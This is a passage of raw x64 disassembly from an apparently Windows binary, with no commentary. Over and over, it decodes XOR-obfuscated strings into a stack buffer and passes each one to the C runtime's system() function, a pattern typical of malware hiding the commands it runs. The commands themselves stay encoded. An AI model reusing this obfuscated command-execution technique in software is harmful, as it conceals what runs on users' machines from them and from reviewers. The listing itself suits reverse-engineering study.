andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa8
jl 0x1400460d0
cmp r8d, 0xae
jge 0x140046223
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xae
jl 0x1400461f0
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce010]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce020]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce030]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce040]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce050]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce060]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce070]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce080]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce090]
movups xmmword [rbp], xmm0
mov eax, dword [0x1400ce0a0]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400ce0a4]
mov word [rbp + 0x14], ax
movzx eax, byte [0x1400ce0a6]
mov byte [rbp + 0x16], al
mov r8d, edi
cmp esi, 2
jl 0x1400463fb
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x1400462f0
cmp r8d, 0x97
jge 0x140046443
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x97
jl 0x140046410
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cdc40]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400cdc50]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cdc60]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cdc70]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cdc80]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cdc90]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cdca0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cdcb0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cdcc0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cdcd0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400cdcd8]
mov dword [rbp + 0x18], eax
movzx eax, word [0x1400cdcdc]
mov word [rbp + 0x1c], ax
mov r8d, edi
cmp esi, 2
jl 0x14004661b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140046510
cmp r8d, 0x9e
jge 0x140046663
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9e
jl 0x140046630
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce930]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce940]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce950]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce960]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce970]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce980]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce990]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce9a0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce9b0]
movups xmmword [rbp], xmm0
movzx eax, word [0x1400ce9c0]
mov word [rbp + 0x10], ax
movzx eax, byte [0x1400ce9c2]
mov byte [rbp + 0x12], al
mov r8d, edi
cmp esi, 2
jl 0x14004682b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x90
jl 0x140046720
cmp r8d, 0x93
jge 0x140046873
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x93
jl 0x140046840
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400ce740]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ce750]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400ce760]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400ce770]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400ce780]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400ce790]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400ce7a0]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400ce7b0]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400ce7c0]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400ce7d0]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400ce7d8]
mov dword [rbp + 0x18], eax
mov r8d, edi
cmp esi, 2
jl 0x140046a3b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140046930
cmp r8d, 0x9c
jge 0x140046a83
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9c
jl 0x140046a50
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [0x1400cefe0]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [0x1400ceff0]
movups xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [0x1400cf000]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [0x1400cf010]
movups xmmword [rbp - 0x50], xmm1
movups xmm0, xmmword [0x1400cf020]
movups xmmword [rbp - 0x40], xmm0
movups xmm1, xmmword [0x1400cf030]
movups xmmword [rbp - 0x30], xmm1
movups xmm0, xmmword [0x1400cf040]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [0x1400cf050]
movups xmmword [rbp - 0x10], xmm1
movups xmm0, xmmword [0x1400cf060]
movups xmmword [rbp], xmm0
movsd xmm0, qword [0x1400cf070]
movsd qword [rbp + 0x10], xmm0
mov eax, dword [0x1400cf078]
mov dword [rbp + 0x18], eax
movzx eax, byte [0x1400cf07c]
mov byte [rbp + 0x1c], al
mov r8d, edi
cmp esi, 2
jl 0x140046c5b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x98
jl 0x140046b50
cmp r8d, 0x9d
jge 0x140046ca3
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x9d
jl 0x140046c70
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcf560]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp esi, 2
jl 0x140046e52
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140046d50
jmp 0x140046e93
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140046e60
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xce880]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
cmp esi, 2
jl 0x140047042
movdqa xmm5, xmmword [0x1400cfb40]
mov edx, edi
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0xa0
jl 0x140046f40
jmp 0x140047083
lea r9, [rbp - 0x80]
mov r8d, edi
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa0
jl 0x140047050
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcdf60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movzx eax, byte [rax + 0xa0]
mov byte [rcx + 0xa0], al
mov r8d, edi
cmp esi, 2
jl 0x14004724b
movdqa xmm5, xmmword [0x1400cfb40]
movdqa xmm4, xmmword [0x1400cfc10]
movdqa xmm6, xmmword [str.4444]
movdqa xmm0, xmmword [str.1111111111111111]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp - 0x7c]
mov edx, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400cfba0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0xa0
jl 0x140047140
cmp r8d, 0xa1
jge 0x140047293
movsxd rax, r8d
lea r9, [rbp - 0x80]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xa1
jl 0x140047260
lea rcx, [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0x80]
lea rax, [rbx + 0xcf430]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
